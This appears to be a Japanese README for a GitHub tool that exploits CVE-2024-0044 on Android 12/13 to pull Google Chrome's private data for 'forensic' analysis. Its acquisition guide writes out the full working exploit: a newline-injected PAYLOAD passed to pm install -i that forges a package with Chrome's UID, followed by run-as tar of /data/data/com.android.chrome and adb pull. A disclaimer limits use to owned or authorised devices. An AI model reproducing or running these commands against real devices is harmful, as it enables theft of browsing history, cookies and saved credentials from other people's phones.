🔍 Chrome Forensic - CVE-2024-0044

👤 著者情報

著者: JackTekno
GitHub: github.com/JackTekno

📋 概要

このツールは CVE-2024-0044（Run-as）の脆弱性を利用して、root化されていないAndroid 12/13デバイスの権限制限を回避し、Google Chromeデータのフォレンジック抽出を可能にします。このツールは生のSQLiteデータベースを解析し、包括的な分析レポートを生成します。

🔄 処理フロー

📊 機能と出力

このツールは、以下のシートを含む包括的なExcelレポート（result_chrome_forensic.xlsx）を生成します：

🛠️ 前提条件

ハードウェア要件

• 📱 Androidスマートフォン（Android 12/13）
• 💻 PC（Linux/Windows/Mac）

テスト済み環境

• 🐧 OS: Linux UOS 20 Professional

ソフトウェア要件

• 🐍 Python 3.x
• 📲 ADB（Android Debug Bridge）
• 📦 ダミーAPKファイル（例：F-Droid.apk）

🚀 インストール

1. リポジトリをクローン

   root@kitploit:~

   git clone https://github.com/JackTekno/Chrome-Forensic_CVE-2024-0044.git
   cd Chrome-Forensic_CVE-2024-0044
   

2. 依存関係をインストール

   root@kitploit:~

   pip install -r requirements.txt
   

🔓 データ取得ガイド

ステップ1: デバイスの準備

1. 設定 → 端末情報 に移動します
2. ビルド番号 を7回タップして開発者向けオプションを有効にします
3. 設定 → システム → 開発者向けオプション に移動します
4. USBデバッグ を有効にします
5. スマートフォンをUSBでPCに接続し、接続を承認します

ステップ2: エクスプロイトの準備

# Push a dummy APK to temporary folder
adb push F-Droid.apk /data/local/tmp/base.apk

ステップ3: 対象UIDを特定する

adb shell pm list packages -U | grep com.android.chrome
# Output example: package:com.android.chrome uid:10129
# Note the UID (e.g., 10129)

ステップ4: エクスプロイトを実行する

⚠️ 10129 は、ステップ3で確認した実際のChrome UIDに置き換えてください

adb shell

# Inside ADB Shell:
PAYLOAD="@null
victim 10129 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# Trigger the package manager
pm install -i "$PAYLOAD" /data/local/tmp/base.apk

ステップ5: データを抽出する

# Still inside ADB Shell
run-as victim tar -cf - /data/data/com.android.chrome/ | cat > /data/local/tmp/chrome.tar

# Exit ADB Shell
exit

ステップ6: データをPCにプルする

adb pull /data/local/tmp/chrome.tar .

ステップ7: データを展開する

プロジェクトフォルダ内で 'chrome.tar' ファイルを展開します。ファイルを手動で移動する必要はありません。Pythonスクリプトが展開されたフォルダ内のデータベースファイルを自動的に見つけ出します。

tar -xf chrome.tar

💻 使用方法

フォレンジック分析ツールを実行します：

python3 chrome_forensic.py

このツールはデータベースファイルを解析し、同じディレクトリに result_chrome_forensic.xlsx を生成します。

⚖️ 法的免責事項

⚠️ 重要： このツールは教育目的および許可されたフォレンジック分析のみを目的として設計されています。

• 所有しているデバイス、または分析するための明示的な書面による許可を得たデバイスでのみ使用してください
• デジタルデバイスへの不正アクセスは、お住まいの地域の法律に違反する可能性があります
• 著者はこのツールの誤用について一切の責任を負いません

🤝 コントリビューション

コントリビューションを歓迎します！ お気軽にPull Requestを送ってください。

📄 ライセンス

このプロジェクトはGNU General Public License v3.0の下でライセンスされています。 詳細についてはLICENSEファイルを参照してください。

👤 クレジット

この取得方法の概念実証は、Tinyhack.comによって要約され、共有されました。